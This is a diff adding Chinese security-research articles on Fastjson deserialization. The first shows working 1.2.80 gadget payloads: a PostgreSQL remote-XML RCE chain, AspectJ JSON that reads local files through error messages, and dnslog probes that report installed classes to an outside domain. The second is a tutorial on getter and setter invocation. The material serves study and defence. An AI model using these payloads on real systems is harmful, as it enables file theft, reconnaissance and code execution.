xml 文件并注入 bean 的功能,无论本地还是远程)。 + +下面是其调用链: + +``` +DriverManager#getConnection(String) +DriverManager#getConnection(String, java.util.Properties, Class) +Driver#connect(String, @Nullable Properties) +Driver#makeConnection(String, Properties) +PgConnection#PgConnection(HostSpec[], String, String, Properties, String) +ConnectionFactory#openConnection(HostSpec[], String, String, Properties) +ConnectionFactoryImpl#openConnectionImpl(HostSpec[], String, String, Properties) +SocketFactoryFactory#getSocketFactory(Properties) +ObjectFactory#instantiate(String, Properties, boolean, @Nullable String) # 实例化 socketFactory +ClassPathXmlApplicationContext#ClassPathXmlApplicationContext(String) +ClassPathXmlApplicationContext#ClassPathXmlApplicationContext(String[], boolean, ApplicationContext) +AbstractApplicationContext#refresh() # 获取远程 xml 文件并注入 bean +``` + +###### jython 利用 + +这条链子原理一看也能明白,org.python.antlr.ParseException 有一个属性为 org.python.core.PyObject 类型: + +![](https://changeyourway.github.io/images/image-20250605005542-ejtc03d.png) + +那么反序列化的时候自然会把这个类型添加进 ParserConfig.deserializers 中。 + +随后找到 PyObject 的子类 com.ziclix.python.sql.PyConnection ,这个类有一个属性 connection : + +![](https://changeyourway.github.io/images/image-20250605005928-40rpjal.png) + +将这个 connection 属性指定为 org.postgresql.jdbc.PgConnection 类型,为其设置好 socketFactory 与 socketFactoryArg 等属性,那么在反序列化时将会调用 org.postgresql.jdbc.PgConnection 的有参构造,从而触发后续的 RCE 。 + +需要三种依赖,且版本较低,利用难度高。 + +‍ + +#### Aspectj 文件读取 + +##### poc + +注意:从 AspectJ 1.9.21 开始,官方把编译环境升级到 JDK 17,因此 aspectjtools-1.9.21+ 中所有类都带着 class-file version 61,如果你的运行环境仍停在 JDK 8–11,就会在任何尝试加载这些工具包类的地方抛 `UnsupportedClassVersionError`: + +![](https://changeyourway.github.io/images/image-20250716144604-9w17oeu.png) + +所以环境的搭建需要找到你 JDK 版本适配的 aspectj 版本。 + +依赖: + +``` + + org.aspectj + aspectjtools + 1.8.14 + runtime + +``` + +json: + +``` +[{ + "@type":"java.lang.Exception", + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" +}, + { + "@type":"java.lang.Class", + "val":{ + "@type":"java.lang.String"{ + "@type":"java.util.Locale", + "val":{ + "@type":"com.alibaba.fastjson.JSONObject",{ + "@type":"java.lang.String" + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", + "newAnnotationProcessorUnits":[] + } +} +}, + { + "@type":"java.lang.Character" + { + "c":{ + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", + "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", + "fileName":"c:/windows/win.ini" + } +}] +``` + +通过报错回显: + +![](https://changeyourway.github.io/images/image-20250717103932-vwi1ox5.png) + +##### 原理 + +通过 SourceTypeCollisionException 的 newAnnotationProcessorUnits 属性将 ICompilationUnit 类型注入缓存: + +![](https://changeyourway.github.io/images/image-20250717223736-ao9gexy.png) + +读取文件的利用在 ICompilationUnit 的子类 BasicCompilationUnit 的 getter 方法 getContents 中。 + +###### 报错回显 + +对于 java.lang.Character 的反序列化,fastjson 采用 CharacterCodec 反序列化器,其 deserialze 方法解析完子节点以后将调用 TypeUtils.castToChar 方法将结果强转为 Char 类型: + +![](https://changeyourway.github.io/images/image-20250717214954-ub1j735.png) + +TypeUtils#castToChar 在转换无果以后将抛出异常,value 会被字符串拼接进报错异常中: + +![](https://changeyourway.github.io/images/image-20250717215138-oy4np7r.png) + +此时 value 是一个 JSONObject 对象,其在被当成字符串拼接时会触发 toString 方法,实际调用父类 JSON#toString 方法,该方法最终会调用 JSONObject 对应的类 BasicCompilationUnit 的所有 getter 方法。 + +###### 读取文件 + +于是 BasicCompilationUnit#getContents 方法被调用,其会读取 this.fileName 所指示的文件内容: + +![](https://changeyourway.github.io/images/image-20250717220408-8cpbjav.png) ![](https://changeyourway.github.io/images/image-20250717220427-y0qtgz8.png) + +fastjson 通过调用 BasicCompilationUnit 的所有 getter 方法,获取到 BasicCompilationUnit 对象各个属性的值,经过 toString 处理成字符串,最后与报错信息一同返回,就是我们看到的这样: + +![](https://changeyourway.github.io/images/image-20250717222504-3tbioxk.png) + +###### 绕过反序列化器类型限制 + +是不是以为到这里就结束了?但实际上,按照我们的分析,其 poc 完全可以表示为如下这种形式: + +``` +[ + { + "@type": "java.lang.Exception", + "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", + "newAnnotationProcessorUnits": [] + }, + { + "@type": "java.lang.Character"{ + "c": { + "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", + "@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", + "fileName": "c:/windows/win.ini" + } + } +] +``` + +但是直接这样写会抛出一个错误: + +![](https://changeyourway.github.io/images/image-20250718105643-fqjnbvo.png) + +这是因为 newAnnotationProcessorUnits 属性实际上是一个数组类型,获取到的反序列化器是 ObjectArrayCodec ,在TypeUtils#castToJavaBean 中,由于 ObjectArrayCodec 并不是 JavaBeanDeserializer 类型,所以直接抛出异常: + +![](https://changeyourway.github.io/images/image-20250805102529-79q8avl.png) + +实际上,我们想要获取的应该是数组元素类型 ICompilationUnit -> JavaBeanDeserializer 的映射,而不是数组类型 -> ObjectArrayCodec 的映射。 + +那么,中间加的那一段 json ,想必就是为了解决这个问题。 + +回顾原来的中间那一段 json ,将其一层层剥离分析: + +``` + { + "@type":"java.lang.Class", + "val":{ + "@type":"java.lang.String"{ + "@type":"java.util.Locale", + "val":{ + "@type":"com.alibaba.fastjson.JSONObject",{ + "@type":"java.lang.String" + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", + "newAnnotationProcessorUnits":[] + } +} +} +``` + +研究其反序列化过程: + +``` +java.lang.Class -> 获取到反序列化器 MiscCodec +java.lang.String -> 获取到反序列化器 StringCodec +java.util.Locale -> 获取到反序列化器 MiscCodec +com.alibaba.fastjson.JSONObject -> 获取到反序列化器 MapDeserializer +java.lang.String -> 获取到反序列化器 StringCodec +``` + +递归式调用 MiscCodec -> StringCodec -> MiscCodec -> MapDeserializer -> StringCodec + +StringCodec 随后返回到 MapDeserializer 。 + +这里有一个细节,按理说 StringCodec 应该继续递归反序列化 SourceTypeCollisionException ,但是提前返回了。对比 poc 中两次出现 “java.lang.String” ,第一次后面跟的是 `{` ,第二次后面跟的是字符串 `"@type"` 。StringCodec 的反序列化逻辑就是如遇 String 类型或是 int 类型则提前返回,如果不是这两种类型才会继续递归解析: + +![](https://changeyourway.github.io/images/image-20250806174033-2zmt000.png) + +由于 java.lang.String 的解析提前终止,MapDeserializer 的后续解析将后面两个键值对添加进 map 中,作为 JSONObject 对象的一部分。 + +MapDeserializer 将 `"@type" -> "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"` 添加进 map 集合中。 + +MapDeserializer 接着调用 DefaultJSONParser#parseArray 方法来解析 newAnnotationProcessorUnits 属性。解析完以后,将 `"newAnnotationProcessorUnits" -> JSONArray 对象` 添加进 map 集合中: + +![](https://changeyourway.github.io/images/image-20250805171200-qtdqant.png) + +MapDeserializer 返回到 MiscCodec 。 + +MiscCodec 的最后,调用 JSONObject.toJavaObject 对 com.alibaba.fastjson.JSONObject 对象及下属 map 集合进行类型转换,JSONObject.toJavaObject 后续调用 TypeUtils.castToJavaBean ,不过与开头不同的是,这里指示的当前类是 java.util.Locale 类,要转换的对象为 JSONObject 对象: + +![](https://changeyourway.github.io/images/image-20250806171310-ux2ap95.png) + +后续为下属标签 SourceTypeCollisionException 获取反序列化器,获取到 ThrowableDeserializer ,它可以被转换为 JavaBeanDeserializer 。于是通过检查,并进入后续创建实例部分: + +![](https://changeyourway.github.io/images/image-20250806172132-k0qkuk8.png) + +在创建 SourceTypeCollisionException 实例的过程中解析其属性 newAnnotationProcessorUnits 时,依然会获取到数组类型的反序列化器 ObjectArrayCodec : + +![](https://changeyourway.github.io/images/image-20250806172852-zrzoyl1.png) + +在 ObjectArrayCodec 的解析过程中,数组元素类型(ICompilationUnit)对应的反序列化器将会被获取: + +![](https://changeyourway.github.io/images/image-20250806172956-zzua8qx.png) + +调用 ParserConfig#getDeserializer ,于是 ICompilationUnit -> JavaBeanDeserializer 的映射被加入缓存中。 + +将需要的类用 JSONObject 封装,再利用 StringCodec 提前返回的特性,可以把需要的类和属性放在 JSONObject 的 map 集合中。TypeUtils.castToJavaBean 对 JSONObject 转换的过程中,实例化需要的类时再获取属性的反序列化器,以绕过 TypeUtils.castToJavaBean 对于反序列化器类型的限制。 + +这个模板也是可以套用的,如果要获取的属性对应的反序列化器类型不是 JavaBeanDeserializer 的话,比如属性是数组类型。 + +###### 优化 poc + +研究完上述原理之后,我们会发现 poc 中一些赘余的部分,前面的两个类 java.lang.Class 和 java.lang.String 似乎并无必要,我们需要的只是 MiscCodec 后面的特性。 + +于是可以将 poc 优化为: + +``` +[{ + "@type":"java.lang.Exception", + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" +}, + { + "@type":"java.util.Locale", + "val":{ + "@type":"com.alibaba.fastjson.JSONObject",{ + "@type":"java.lang.String" + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", + "newAnnotationProcessorUnits":[] + } +}, + { + "@type":"java.lang.Character" + { + "c":{ + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", + "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", + "fileName":"c:/windows/win.ini" + } +}] +``` + +结果是一样的: + +![](https://changeyourway.github.io/images/image-20250808142748-myc55n0.png) + +当然这在实际攻防中并没有多大区别,安全研究看看就好。 + +###### 总结 + +这条链子通过一种很新奇的字符串拼接的方式触发了 JSON#toString 方法,从而触发 getter 方法。而我们需要知道的就是如果想触发谁的 getter 方法,然后将它的属性值全部 toString 输出,在它前面加上一个 `"@type":"java.lang.Character"` 就好了。这就是常用的报错回显手法。 + +如果要获取的属性对应的反序列化器类型不是 JavaBeanDeserializer ,套用中间那层 json 即可绕过反序列化类型限制。 + +‍ + +#### Dnslog 探测依赖 + +通过研究已有 poc ,发现了其局限性,将其改造变为通杀。 + +##### poc + +dnslog 可以用来探测依赖,目前公开的 poc 如下所示: + +``` +{ +"@type":"java.net.Inet4Address", +"val":{ + "@type":"java.lang.String"{ + "@type":"java.util.Locale", + "val":{ + "@type":"com.alibaba.fastjson.JSONObject",{ + "@type": "java.lang.String" + "@type":"java.util.Locale", + "language":{ + "@type":"java.lang.String" + {1:{"@type":"java.lang.Class","val":"groovy.lang.GroovyShell"} + }, + "country":"gv.su18.dnslog.pw" + } +} +} +``` + +##### 原理 + +从这个 poc 中我们来总结几个特性: + +###### MiscCodec 特性 + +1、若类对应的反序列化器是 MiscCodec ,后面要跟一个字符串的话,这个字符串必须是 “val” ,否则会抛出异常: + +![](https://changeyourway.github.io/images/image-20250809142556-n44goq3.png) + +###### 域名解析与类加载原理 + +2、在不同的类中,这个 “val” 属性有不同的用法,比如对 java.net.Inet4Address ,这个 val 的字符串值会被当做域名解析: + +![](https://changeyourway.github.io/images/image-20250809142837-zxvfh2c.png) + +而对于 java.lang.Class ,这个 val 则会被类加载: + +![](https://changeyourway.github.io/images/image-20250809143255-2ama4ms.png) + +如果这里类加载失败,java.util.Locale 的 language 属性值将为 null ,那么在 MiscCodec 的最后转换为 java 对象调用 TypeUtils#castToJavaBean 时,将会因为反序列化器类型限制而抛出异常: + +![](https://changeyourway.github.io/images/image-20250809154241-3cjn9o1.png) + +只有 java.util.Locale 的两个属性都有值时,在 TypeUtils#castToJavaBean 才能够正确的构造 Locale 对象并放行: + +![](https://changeyourway.github.io/images/image-20250809153820-akvfrly.png) + +所以,如果类加载失败了,那么在这里就会抛出异常,而不会最终调用 InetAddress.getByName 进行 DNS 解析。利用这一点,就可以实现**若类加载成功则进行 DNS 解析,类加载失败则不进行 DNS 解析**的效果。 + +###### 域名拼接过程 + +3、StringCodec 在解析完对象以后会调用对象的 toString 方法: + +![](https://changeyourway.github.io/images/image-20250809154928-y1yks13.png) + +java.util.Locale 的 toString 方法会将其 language 属性与 country 属性的字符串值用下划线连接起来 + +而 java.lang.Class 的 toString 方法输出 `class 全类名` , + +所以一段这样的 json : + +``` +"@type":"java.lang.String"{ +"@type":"java.util.Locale", +"val":{ + "language":{ + "@type":"java.lang.String"{ + "@type":"java.lang.Class", + "val":"groovy.lang.GroovyShell" + }, + "country":"gv.su18.dnslog.pw" +} +``` + +其 toString 的结果是这样的: + +``` +class groovy.lang.groovyshell_GV.SU18.DNSLOG.PW +``` + +因为中间有个空格,所以不能直接将其作为 InetAddress.getByName 的参数。 + +为了解决这个问题,聪明的前辈在前面加了一个键,消去了空格,于是给出下面的 poc (精简版): + +``` +{ +"@type":"java.net.Inet4Address", +"val":{ + "@type":"java.lang.String"{ + "@type":"java.util.Locale", + "val":{ + "language":{ + "@type":"java.lang.String"{ + "1":{"@type":"java.lang.Class","val":"groovy.lang.GroovyShell"} + }, + "country":"gv.su18.dnslog.pw" + } +} +} +``` + +这样一来,InetAddress.getByName 得到的参数就是 `{"1":"groovy.lang.groovyshell"}_GV.SU18.DNSLOG.PW` 。 + +其请求的域名为 SU18.DNSLOG.PW ,需要在 dnslog 域名的左侧再加一个字段用来拼接下划线。 + +###### Windows 域名解析限制 + +Windows 上的 JDK DNS 校验相当严格,仅允许包含 `[a-zA-Z0-9.-]`(字母、数字、点、连接号),并且 Windows 上若以 `_` 或 `-` 开头,常被视为非法。当传入的主机名中包含非法字符时,会在本地抛出 `IllegalArgumentException`,不会走到网络解析的那一步。所以上面的 poc 在 Windows 机器上自然是行不通了。 + +部分 Linux 可能也有这样的限制,我在 Kali 上测试也没有成功。 + +###### 改进 poc + +了解到以上原理以后,我们可以开始重构 poc 。 + +首先利用 java.util.Locale 的报错机制与 java.lang.Class 的类加载机制,可以根据报错判断依赖是否存在,有以下构造: + +``` +{ + "@type":"java.util.Locale", + "val":{ + "@type":"java.lang.String"{ + "@type":"java.util.Locale", + "val":{ + "language":{ + "@type":"java.lang.String"{ + "@type":"java.lang.Class", + "val":"groovy.lang.GroovyShell" + }, + "country":"CN" + } + } +} +``` + +如果指定类 groovy.lang.GroovyShell 存在,则无事发生。若不存在,则报错,java.util.Locale 的反序列化器类型异常: + +![](https://changeyourway.github.io/images/image-20250809174219-uhx9zpx.png) + +在这个 json 块后面紧跟一个 json 块,用来进行 DNS 解析,如果前一个 json 块解析失败抛出异常,则解析中止,不进行 DNS 解析。如果前一个正常解析,那么就会进行 DNS 解析。于是得到一条新 poc : + +``` +{"a":{ + "@type":"java.util.Locale", + "val":{ + "@type":"java.lang.String"{ + "@type":"java.util.Locale", + "val":{ + "language":{ + "@type":"java.lang.String"{ + "@type":"java.lang.Class", + "val":"groovy.lang.GroovyShell" + }, + "country":"CN" + } + } +}, +"b":{ + "@type":"java.net.Inet4Address", + "val":"0juweq.dnslog.cn" +}} +``` + +##### 改进版通杀 poc + +探测依赖: + +``` +{"a":{ + "@type":"java.util.Locale", + "val":{ + "@type":"java.lang.String"{ + "@type":"java.util.Locale", + "val":{ + "language":{ + "@type":"java.lang.String"{ + "@type":"java.lang.Class", + "val":"groovy.lang.GroovyShell" # 要探测的类 + }, + "country":"CN" + } + } +}, +"b":{ + "@type":"java.net.Inet4Address", + "val":"0juweq.dnslog.cn" # dnslog地址 +}} +``` + +因为域名不参杂特殊字符,所以无论 Windows 与 Linux 都能成功利用。并且由于此 poc 兼具报错特性,在有回显的情况下可以直接看是否报错。报错说明没有这个类,不报错说明有这个类。 + +下面是我在 Windows 机器上的测试结果: + +有依赖,不报错,收到请求: + +![](https://changeyourway.github.io/images/image-20250809175409-iaqdb0o.png) ![](https://changeyourway.github.io/images/image-20250809175419-kiichnz.png) + +无依赖,报错,收不到请求: + +![](https://changeyourway.github.io/images/image-20250809175553-b9db0lo.png) ![](https://changeyourway.github.io/images/image-20250809175611-bnq3jq8.png) + +其实也有想过利用 dnslog 配合文件读取,但考虑到文件内容很可能出现非法字符,且长度可能超长,就觉得不太行。 + +‍ + +## 参考文章 + +[https://github.com/su18/hack-fastjson-1.2.80](https://github.com/su18/hack-fastjson-1.2.80) + +[https://www.cnblogs.com/pykiller/p/fastjson-1\_2\_80.html](https://www.cnblogs.com/pykiller/p/fastjson-1_2_80.html) + +[https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/](https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/) + +[https://y4er.com/posts/fastjson-1.2.80/#%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90](https://y4er.com/posts/fastjson-1.2.80/#%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90) + +[https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) + +‍ diff --git a/books/漏洞篇 - Fastjson 反序列化.md b/books/漏洞篇 - Fastjson 反序列化.md new file mode 100644 index 0000000..c80aecd --- /dev/null +++ b/books/漏洞篇 - Fastjson 反序列化.md @@ -0,0 +1,1026 @@ +# 漏洞篇 - Fastjson 反序列化 +> 2024-09-18 +> 来源:https://changeyourway.github.io/2024/09/18/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Fastjson-%E4%BB%8B%E7%BB%8D + +## Fastjson 介绍 + +Fastjson 是阿里巴巴开发的一个高性能 JSON 解析库,广泛应用于 Java 项目中。它的主要功能是对 JSON 数据进行序列化和反序列化,即将 Java 对象转换为 JSON 字符串,或者将 JSON 字符串解析为 Java 对象。Fastjson 的优势在于其速度和灵活性,特别是在处理大规模数据时性能表现良好。 + +### 快速入门 + +导入如下依赖: + +``` + + + com.alibaba + fastjson + 1.2.24 + + +``` + +在 pojo 包下创建一个简单类: + +``` +package pojo; + +public class User { + private String name; + private int id; + + public User(){ + System.out.println("无参构造"); + } + + public User(String name, int id) { + System.out.println("有参构造"); + this.name = name; + this.id = id; + } + + @Override + public String toString() { + return "User{" + + "name='" + name + '\'' + + ", id=" + id + + '}'; + } + + public String getName() { + System.out.print("getName"); + return name; + } + + public void setName(String name) { + System.out.println("setName"); + this.name = name; + } + + public int getId() { + System.out.println("getId"); + return id; + } + + public void setId(int id) { + System.out.println("setId"); + this.id = id; + } +} +``` + +###### 序列化 + +调用 JSON 的 toJSONString 方法将对象转换为字符串: + +``` +import com.alibaba.fastjson.JSON; +import pojo.User; + +public class base { + public static void main(String[] args) { + User user = new User("zhangsan",1); + String json = JSON.toJSONString(user); + System.out.println(json); + } +} +``` + +输出结果如下: + +![](https://changeyourway.github.io/images/image-20240908181155911.png) + +可以看出,在调用 JSON.toJSONString 方法时调用了对象的 getter 方法获取属性值。 + +toJSONString 方法有很多重写: + +![](https://changeyourway.github.io/images/image-20240908182025834.png) + +在 Java 中,方法参数后面的三个点(…)代表可变参数(Varargs),即这个方法可以接受任意数量的该类型参数。在 Fastjson 中,SerializerFeature… features 意味着这个方法可以接受多个 SerializerFeature 枚举值,甚至可以不传递任何 SerializerFeature。 + +如果再多传入一个参数 SerializerFeature ,值为 SerializerFeature.WriteClassName ,就可以在序列化结果中多打印一个 `@type:类名` : + +![](https://changeyourway.github.io/images/image-20240908182419256.png) + +传入 SerializerFeature.WriteClassName 可以使得 Fastjson 支持自省,开启自省后序列化成 JSON 的数据就会多一个 @type ,这个是代表对象类型的 JSON 文本。 + +###### 反序列化 + +反序列化时常使用的方法为 parse() 、parseObject() 、parseArray() ,这三个方法也均包含若干重载方法: + +![](https://changeyourway.github.io/images/image-20240908183842566.png) + +下面程序用来测试反序列化: + +``` +import com.alibaba.fastjson.JSON; +import pojo.User; + +public class base2 { + public static void main(String[] args) { + String json = "{\"@type\":\"pojo.User\",\"id\":1,\"name\":\"zhangsan\"}"; + String json2 = "{\"id\":1,\"name\":\"zhangsan\"}"; + System.out.println(JSON.parseObject(json)); + System.out.println("----------------------------------"); + System.out.println(JSON.parseObject(json2)); + System.out.println("----------------------------------"); + System.out.println(JSON.parseObject(json, User.class)); + System.out.println("----------------------------------"); + System.out.println(JSON.parseObject(json2, User.class)); + System.out.println("----------------------------------"); + System.out.println(JSON.parse(json)); + System.out.println("----------------------------------"); + System.out.println(JSON.parse(json2)); + + } +} +``` + +输出结果如下: + +![](https://changeyourway.github.io/images/image-20240908184736798.png) + +不同的方法和参数得到的结果也不同,其中: + +``` +JSON.parseObject(json2) +JSON.parse(json2) +``` + +这两个方式的反序列化是失败的。 + +###### parse() 、parseObject() + +来聊聊这两个方法。在上面的案例中可以知道,如果要成功反序列化出 User 对象,parseObject 就一定要指定第二个参数为 User.class ,而 parse 则一定要用 @type 指定要反序列化的类。 + +parseObject 方法如果不指定第二个参数,那么会返回 JSONObject 对象,而不是 User 对象: + +``` +JSON.parseObject(json) +``` + +![](https://changeyourway.github.io/images/image-20240909201051828.png) + +并且像这样的调用方式会同时调用 User 的 getter/setter 方法。 + +### getter/setter 方法的调用 + +可以发现,无论是序列化还是反序列化,都会调用其 getter 或 setter 方法。我们来跟进一下看看具体是在哪里调用的。 + +就以 `JSON.parseObject(json)` 这样的调用方式为例,跟进 JSON#parseObject(String): + +![](https://changeyourway.github.io/images/image-20240909202110606.png) + +这里调用 parse 方法,跟进 JSON#parse(String): + +![](https://changeyourway.github.io/images/image-20240909202301936.png) + +继续跟进 JSON#parse(String, int): + +![](https://changeyourway.github.io/images/image-20240909202358542.png) + +这里先是调用 DefaultJSONParser 获取一个默认 Json 解析器,然后调用解析器的 parse 方法。 + +跟进 DefaultJSONParser#parse(): + +![](https://changeyourway.github.io/images/image-20240909202729863.png) + +跟进 DefaultJSONParser#parse(Object): + +![](https://changeyourway.github.io/images/image-20240909202826828.png) + +直接进入了 case LBRACE 。JSONObject 的构造方法没什么可看的。 + +直接跟进 DefaultJSONParser#parseObject(final Map, Object): + +![](https://changeyourway.github.io/images/image-20240909203543875.png) + +方法的中间调用了 config.getDeserializer 来获取一个反序列化器,我们先跟进它,也就是 ParserConfig#getDeserializer(Type): + +![](https://changeyourway.github.io/images/image-20240909204441243.png) + +这里调用重载方法,跟进 ParserConfig#getDeserializer(Class, Type): + +![](https://changeyourway.github.io/images/image-20240909205354076.png) + +跟进 ParserConfig#createJavaBeanDeserializer(Class, Type) : + +![](https://changeyourway.github.io/images/image-20240909205522033.png) + +跟进 JavaBeanInfo#build(Class, Type, PropertyNamingStrategy): + +![](https://changeyourway.github.io/images/image-20240909210324655.png) + +这个方法比较重要,那些 getter/setter 方法就是在这里获取名称的。 + +在方法的中间遍历类中的所有 public 方法,过滤出符合条件的 setter 方法: + +![](https://changeyourway.github.io/images/image-20240909215418147.png) + +代码很长,这里就不放完了。总结起来就是: + +**判断 setter 方法:** + +1. 方法名长度大于等于 4 +2. 不是静态方法 +3. 返回类型为空或当前类 +4. 参数个数为 1 个 +5. 方法上的 @JSONField 注解没有指定该字段不可反序列化 +6. 方法名以 “set” 开头 + +**判断字段名:** + +`char c3 = methodName.charAt(3);` 获取方法名的第四个字符(即 setXyz 中的 X) + +- 如果 c3 是大写字母,则字段名为 setXyz 中的 xyz 。 +- 如果 c3 是下划线 \_ ,则字段名为 set\_xxx 中的 xxx 。 +- 如果方法名的第五个字符是大写字符,则保留原来的大写风格。比如 setURL 保留 URL 作为字段名。 +- 根据上述方法推导出来的字段名,通过反射去查找类中的实际字段。如果没有找到字段,并且方法参数是 `boolean` 类型,尝试将字段名前面加个 “is” ,改为 isXyz 形式重新查找字段。 + +后面再接着遍历类中的所有 public 方法,过滤出符合条件的 getter 方法: + +![](https://changeyourway.github.io/images/image-20240912125238245.png) + +**同样总结一下获取 getter 方法的规则:** + +- 方法名长于 4 +- 不是静态方法 +- 以 get 开头且第 4 位是大写字母 +- 没有参数 +- 返回类型继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong +- 对带有 @JSONField 注解的方法,优先使用注解中定义的属性名或选项。 + +build 方法的最后将该类的构造函数、字段、获取到的 setter/getter 方法以及其他与序列化和反序列化相关的信息都封装进了一个 JavaBeanInfo 对象: + +![](https://changeyourway.github.io/images/image-20240909210450000.png) + +好的,回到 DefaultJSONParser#parseObject(final Map, Object) ,我们接下来看下面的调用: + +![](https://changeyourway.github.io/images/image-20240909222558930.png) + +跟进 JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object): + +![](https://changeyourway.github.io/images/image-20240909222829590.png) + +这里需要注意的是,如果直接进入下一步,会跟不进去: + +![](https://changeyourway.github.io/images/image-20240909222955341.png) + +这是由于 ParserConfig#createJavaBeanDeserializer(Class, Type) 中设置 asmEnable 为 true 了。如果确实想跟进去看的话,可以在调试时将其值设置为 false 。asmEnable 是 true 的情况下,使用 asm 从字节码层面生成特定 javabean 的反序列化器,自然无法跟进去看了;为 false 的时候,则使用常规的 set 方法进行反序列化(效率低、不安全)。不过这两种方法生成的内容是一样的。 + +那么重新调试,再次调试到这里的时候,将其值设置为 false : + +![](https://changeyourway.github.io/images/image-20240909224200706.png) + +继续调试到 JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object),此时可以跟进了: + +![](https://changeyourway.github.io/images/image-20240909224746559.png) + +这里两个重载方法,一路跟到 JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object, Object, int): + +![](https://changeyourway.github.io/images/image-20240909230114277.png) + +这个方法在经过一系列处理后,最终调用到了 fieldDeser.setValue 来为 User 对象赋值。 + +跟进 FieldDeserializer#setValue(Object, Object): + +![](https://changeyourway.github.io/images/image-20240909230613785.png) + +这里就是最终调用 setter 方法的地方。 + +然而,如果说 json 字符串中的字段名与 JavaBeanInfo#build(Class, Type, PropertyNamingStrategy) 方法获取到的 JavaBeanInfo 对象中存储的字段名不一致的话,那么 JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object, Object, int) 的 matchField 值为 false ,就会进入另一条分支,调用 parseField 方法来处理。比如我现在将 id 字段改为 `_i_d_` ,但是 setter 方法还是叫 setId : + +![](https://changeyourway.github.io/images/image-20240910113902176.png) + +跟进 JavaBeanDeserializer#parseField(DefaultJSONParser, String, Object, Type, Map): + +![](https://changeyourway.github.io/images/image-20240910161435223.png) + +跟进 JavaBeanDeserializer#smartMatch(String),这是一个比较关键的方法,如果匹配不一致的话,会判断 key 是否是 is 开头,或者将 key 中的 - 和 \_ 去掉再比对: + +![](https://changeyourway.github.io/images/image-20240910161832985.png) + +也就是说即使字段名为 `_i_d_` ,依然能够找到名为 setId 的 setter 方法。 + +若是走这条路,则是在 DefaultFieldDeserializer#parseField(DefaultJSONParser, Object, Type, Map) 中调用 setvalue 方法: + +![](https://changeyourway.github.io/images/image-20240910170924261.png) ![](https://changeyourway.github.io/images/image-20240910171423585.png) + +那么 getter 方法又在哪里调用呢?回到最初的 JSON#parseObject(String): + +![](https://changeyourway.github.io/images/image-20240909230901546.png) + +现在 parse 这条路已经走完了,跟进 JSON#toJSON(Object),这是一个将 Java 对象转为 Json 数据的方法: + +![](https://changeyourway.github.io/images/image-20240909231153735.png) + +跟进 JSON#toJSON(Object, SerializeConfig) : + +![](https://changeyourway.github.io/images/image-20240909231640434.png) + +这里调用 javaBeanSerializer.getFieldValuesMap 来获取字段值的 Map 集合。 + +跟进 JavaBeanSerializer#getFieldValuesMap(Object): + +![](https://changeyourway.github.io/images/image-20240909231809051.png) + +这里调用 getter.getPropertyValue 获取属性值。 + +跟进 FieldSerializer#getPropertyValue(Object) : + +![](https://changeyourway.github.io/images/image-20240909231942642.png) + +跟进 FieldInfo#get(Object): + +![](https://changeyourway.github.io/images/image-20240909232056519.png) + +这里就是调用 getter 方法的地方了。 + +### 调用链总结 + +于是可以总结出如下调用链: + +``` +JSON#parseObject(String) +*-> JSON#parse(String) +* JSON#parse(String, int) +* DefaultJSONParser#parse() +* DefaultJSONParser#parse(Object) +* DefaultJSONParser#parseObject(final Map, Object) +* *-> ParserConfig#getDeserializer(Type) +* * ParserConfig#getDeserializer(Class, Type) +* * ParserConfig#createJavaBeanDeserializer(Class, Type) # 设置 asmEnable 为 false +* * JavaBeanInfo#build(Class, Type, PropertyNamingStrategy) # 筛选 setter/getter 方法 +* *-> JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object) +* * JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object, int) +* * JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object, Object, int) +* * *-> JavaBeanDeserializer#parseField(DefaultJSONParser, String, Object, Type, Map) +* * * *-> JavaBeanDeserializer#smartMatch(String) # 字段名不一致,去除-_等符号再比对 +* * * *-> DefaultFieldDeserializer#parseField(DefaultJSONParser, Object, Type, Map) +* * * * FieldDeserializer#setValue(Object, Object) # 调用 setter/getter 方法 +* * *-> FieldDeserializer#setValue(Object, Object) # 调用 setter/getter 方法 +*-> JSON#toJSON(Object) +* JSON#toJSON(Object, SerializeConfig) +* JavaBeanSerializer#getFieldValuesMap(Object) +* FieldSerializer#getPropertyValue(Object) +* FieldInfo#get(Object) # 调用 getter 方法 +``` + +其他的反序列化调用方式也大差不差。 + +### 特性总结 + 